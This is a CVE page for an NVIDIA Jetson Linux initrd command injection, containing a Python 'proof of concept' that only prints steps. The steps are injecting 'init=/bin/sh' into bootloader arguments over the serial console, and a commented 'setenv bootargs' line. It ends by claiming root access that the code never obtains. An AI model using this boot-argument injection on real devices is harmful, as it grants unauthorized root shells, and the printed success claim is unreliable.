CVE-2026-24154 NVIDIA Jetson Linux命令行注入漏洞

#!/usr/bin/env python3 """ PoC for CVE-2026-24154: NVIDIA Jetson Linux initrd Command Injection This script demonstrates the concept of injecting malicious arguments. Note: Physical access to the device serial console is required. """ import sys def simulate_exploit(): # Malicious argument intended to break initrd execution or gain root shell # Example: 'init=/bin/sh' drops to a shell before the real init runs malicious_payload = "init=/bin/sh" print(f"[+] Attacker gains physical access to serial console.") print(f"[*] Interrupting boot process (U-Boot/Bootloader)...") print(f"[*] Injecting malicious argument into boot args: {malicious_payload}") # Hypothetical command to set the environment variable in bootloader # setenv bootargs 'console=ttyS0,115200n8 ... init=/bin/sh' print(f"[+] Resuming boot with modified parameters.") print(f"[!] Exploit successful: Root shell access granted via initrd override.") if __name__ == "__main__": simulate_exploit()